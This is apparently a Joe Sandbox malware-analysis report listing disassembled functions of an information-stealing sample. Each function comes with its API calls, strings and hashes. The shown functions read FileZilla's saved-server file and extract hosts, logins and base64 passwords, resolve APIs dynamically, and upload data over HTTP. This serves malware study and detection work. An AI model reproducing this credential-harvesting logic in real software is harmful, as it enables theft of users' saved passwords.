Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction ID: d97db1a59c4db881a004fd13fa95f43a4b4e799dc382b7b3ddd968380e0460c3
Opcode Fuzzy Hash: 964d200717a0df2f3f62487d6067e07b9107b608128a919957ff18d07be4aa47
Instruction Fuzzy Hash: B6F04FB1944648AFC710DF98DD45BAEBBB9FB08B21F10021AFA15A3690C7745545CBA1

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction ID: 6710e554edad90447a57410479f56be173a40300ace114c8cd68aa34356edfab
Opcode Fuzzy Hash: fb17d3f43d2abce587f83b1d922277e93116013ddf9f148f75be850ad6644e92
Instruction Fuzzy Hash: 17D05E74D0020CDBCB14DFE09A49ADDBB7AAB0D321F001656ED0572240DA305446CA65

Function 00407750 Relevance: 102.1, APIs: 54, Strings: 4, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00415CA4,?), ref: 00407764
RtlAllocateHeap.NTDLL(00000000,?,00415CA4,?), ref: 0040776B
lstrcat.KERNEL32(?,00EBE528), ref: 0040791B
lstrcat.KERNEL32(?,?), ref: 0040792F
lstrcat.KERNEL32(?,?), ref: 00407943
lstrcat.KERNEL32(?,?), ref: 00407957
lstrcat.KERNEL32(?,00EC1D48), ref: 0040796B
lstrcat.KERNEL32(?,00EC1D60), ref: 0040797F
lstrcat.KERNEL32(?,00EC1BB0), ref: 00407992
lstrcat.KERNEL32(?,00EC1DD8), ref: 004079A6
lstrcat.KERNEL32(?,00EC2310), ref: 004079BA
lstrcat.KERNEL32(?,?), ref: 004079CE
lstrcat.KERNEL32(?,?), ref: 004079E2
lstrcat.KERNEL32(?,?), ref: 004079F6
lstrcat.KERNEL32(?,00EC1D48), ref: 00407A09
lstrcat.KERNEL32(?,00EC1D60), ref: 00407A1D
lstrcat.KERNEL32(?,00EC1BB0), ref: 00407A31
lstrcat.KERNEL32(?,00EC1DD8), ref: 00407A44
lstrcat.KERNEL32(?,00EC2378), ref: 00407A58
lstrcat.KERNEL32(?,?), ref: 00407A6C
lstrcat.KERNEL32(?,?), ref: 00407A80
lstrcat.KERNEL32(?,?), ref: 00407A94
lstrcat.KERNEL32(?,00EC1D48), ref: 00407AA8
lstrcat.KERNEL32(?,00EC1D60), ref: 00407ABB
lstrcat.KERNEL32(?,00EC1BB0), ref: 00407ACF
lstrcat.KERNEL32(?,00EC1DD8), ref: 00407AE3
lstrcat.KERNEL32(?,00EC23E0), ref: 00407AF6
lstrcat.KERNEL32(?,?), ref: 00407B0A
lstrcat.KERNEL32(?,?), ref: 00407B1E
lstrcat.KERNEL32(?,?), ref: 00407B32
lstrcat.KERNEL32(?,00EC1D48), ref: 00407B46
lstrcat.KERNEL32(?,00EC1D60), ref: 00407B5A
lstrcat.KERNEL32(?,00EC1BB0), ref: 00407B6D
lstrcat.KERNEL32(?,00EC1DD8), ref: 00407B81
lstrcat.KERNEL32(?,00EC2448), ref: 00407B95
lstrcat.KERNEL32(?,?), ref: 00407BA9
lstrcat.KERNEL32(?,?), ref: 00407BBD
lstrcat.KERNEL32(?,?), ref: 00407BD1
lstrcat.KERNEL32(?,00EC1D48), ref: 00407BE4
lstrcat.KERNEL32(?,00EC1D60), ref: 00407BF8
lstrcat.KERNEL32(?,00EC1BB0), ref: 00407C0C
lstrcat.KERNEL32(?,00EC1DD8), ref: 00407C1F
lstrcat.KERNEL32(?,00EC24B0), ref: 00407C33
lstrcat.KERNEL32(?,?), ref: 00407C47
lstrcat.KERNEL32(?,?), ref: 00407C5B
lstrcat.KERNEL32(?,?), ref: 00407C6F
lstrcat.KERNEL32(?,00EC1D48), ref: 00407C83
lstrcat.KERNEL32(?,00EC1D60), ref: 00407C96
lstrcat.KERNEL32(?,00EC1BB0), ref: 00407CAA
lstrcat.KERNEL32(?,00EC1DD8), ref: 00407CBE

Part of subcall function 00407610: lstrcat.KERNEL32(2D432020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(2D432020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(2D432020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(2D432020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(2D432020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(2D432020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(2D432020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,00EC27B8), ref: 00407E4B
lstrcat.KERNEL32(?,00EC11E8), ref: 00407E5E
lstrlenA.KERNEL32(2D432020), ref: 00407E6B
lstrlenA.KERNEL32(2D432020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

(, xrefs: 0040790E
H$, xrefs: 00407B87
x#, xrefs: 00407A4A
#, xrefs: 00407AE9

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID: ($H$$x#$#
API String ID: 928082926-1594223664
Opcode ID: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

<Pass encoding="base64">, xrefs: 0041029A
browser: FileZilla, xrefs: 00410399
password: , xrefs: 0041043B
<Host>, xrefs: 004101BC
login: , xrefs: 0041040A
profile: null, xrefs: 004103A8
<User>, xrefs: 00410250
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
url: , xrefs: 004103B7
<Port>, xrefs: 00410206

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: dbb710dbcf939128f55aff42ce9e7c4829bee1b37ca5c6abe9bf7adc05272eb9
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: dbb710dbcf939128f55aff42ce9e7c4829bee1b37ca5c6abe9bf7adc05272eb9
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 65.0, APIs: 33, Strings: 4, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00EAF2A0), ref: 004192B1
GetProcAddress.KERNEL32(74DD0000,00EAF3C0), ref: 004192CA
GetProcAddress.KERNEL32(74DD0000,00EAF3D8), ref: 004192E2
GetProcAddress.KERNEL32(74DD0000,00EAF198), ref: 004192FA
GetProcAddress.KERNEL32(74DD0000,00EAF3F0), ref: 00419313
GetProcAddress.KERNEL32(74DD0000,00EB2EB0), ref: 0041932B
GetProcAddress.KERNEL32(74DD0000,00EB2780), ref: 00419343
GetProcAddress.KERNEL32(74DD0000,00EB2760), ref: 0041935C
GetProcAddress.KERNEL32(74DD0000,00EAF450), ref: 00419374
GetProcAddress.KERNEL32(74DD0000,00EAF468), ref: 0041938C
GetProcAddress.KERNEL32(74DD0000,00EAF180), ref: 004193A5
GetProcAddress.KERNEL32(74DD0000,00EAF4E0), ref: 004193BD
GetProcAddress.KERNEL32(74DD0000,00EB2980), ref: 004193D5
GetProcAddress.KERNEL32(74DD0000,00EAF4F8), ref: 004193EE
GetProcAddress.KERNEL32(74DD0000,00EAF510), ref: 00419406
GetProcAddress.KERNEL32(74DD0000,00EB26E0), ref: 0041941E
GetProcAddress.KERNEL32(74DD0000,00EAF498), ref: 00419437
GetProcAddress.KERNEL32(74DD0000,00EAF4B0), ref: 0041944F
GetProcAddress.KERNEL32(74DD0000,00EB25A0), ref: 00419467
GetProcAddress.KERNEL32(74DD0000,00EAF480), ref: 00419480
GetProcAddress.KERNEL32(74DD0000,00EB2640), ref: 00419498
LoadLibraryA.KERNEL32(00EAF4C8,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(00EAF528,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(00EAF540,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(00EACB00,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(00EBA7B0,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75A70000,00EBA840), ref: 00419512
GetProcAddress.KERNEL32(75290000,00EBA570), ref: 00419533
GetProcAddress.KERNEL32(75290000,00EBA600), ref: 0041954B
GetProcAddress.KERNEL32(75BD0000,00EBA750), ref: 0041956D
GetProcAddress.KERNEL32(75450000,00EB26A0), ref: 0041958E
GetProcAddress.KERNEL32(76E90000,00EB2EF0), ref: 004195AF
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 004195C6

Strings

&, xrefs: 00419411
`', xrefs: 0041934E
NtQueryInformationProcess, xrefs: 004195BA
@&, xrefs: 0041948B

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: @&$NtQueryInformationProcess$`'$&
API String ID: 2238633743-4125360358
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 58.3, APIs: 22, Strings: 11, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,00EC27D8), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,00EC28B8,?,00EC1E98,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,00EC2838,00000000,?,00EC0408,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

--, xrefs: 004052D0
h(, xrefs: 004054A8
------, xrefs: 0040568B
------, xrefs: 004052E7
", xrefs: 004054D2
", xrefs: 00405614
------, xrefs: 00405407
8(, xrefs: 0040572C
", xrefs: 00405756
------, xrefs: 00405549
Xe, xrefs: 0040533E

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$8($Xe$h(
API String ID: 811081172-2652366810
Opcode ID: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 51.2, APIs: 19, Strings: 10, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,00EC27D8), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00EC2978,00000000,?,00EC0408,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,00EC28B8,?,00EC1E98,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405C5B
h(, xrefs: 00405CFC
